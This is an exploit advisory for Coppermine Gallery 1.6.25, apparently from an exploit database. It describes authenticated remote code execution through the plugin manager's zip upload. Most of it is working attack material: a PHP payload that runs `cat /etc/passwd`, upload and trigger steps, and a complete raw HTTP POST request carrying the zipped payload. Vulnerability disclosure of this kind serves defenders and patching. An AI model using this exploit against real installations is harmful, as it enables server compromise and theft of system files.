Exploit Title: coppermine-gallery 1.6.25 RCE
Application: coppermine-gallery
Version: v1.6.25  
Bugs:  RCE
Technology: PHP
Vendor URL: https://coppermine-gallery.net/
Software Link: https://github.com/coppermine-gallery/cpg1.6.x/archive/refs/tags/v1.6.25.zip
Date of found: 05.09.2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
steps


1.First of All create php file content as <?php echo system('cat /etc/passwd'); ?> and sequeze this file with zip.
$ cat >> test.php 
<?php echo system('cat /etc/passwd'); ?>
$ zip test.zip test.php

1. Login to account
2. Go to http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
3. Upload zip file
4. Visit to php file   http://localhost/cpg1.6.x-1.6.25/plugins/test.php



poc request

POST /cpg1.6.x-1.6.25/pluginmgr.php?op=upload HTTP/1.1
Host: localhost
Content-Length: 630
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi1AopwPnBYPdzorF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/cpg1.6.x-1.6.25/pluginmgr.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: cpg16x_data=YTo0OntzOjI6IklEIjtzOjMyOiI0MmE1Njk2NzhhOWE3YTU3ZTI2ZDgwYThlYjZkODQ4ZCI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJlbmdsaXNoIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; cpg16x_fav=YToxOntpOjA7aToxO30%3D; d4e0836e1827aa38008bc6feddf97eb4=93ffa260bd94973848c10e15e50b342c
Connection: close

------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="plugin"; filename="test.zip"
Content-Type: application/zip

PK
�����b%Wz½µ}(���(�����test.phpUT	�ñòödÓòödux���������<?php echo system('cat /etc/passwd');?>
PK
�����b%Wz½µ}(���(������������¤����test.phpUT�ñòödux���������PK������N���j�����
------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="form_token"

50982f2e64a7bfa63dbd912a7fdb4e1e
------WebKitFormBoundaryi1AopwPnBYPdzorF
Content-Disposition: form-data; name="timestamp"

1693905214
------WebKitFormBoundaryi1AopwPnBYPdzorF--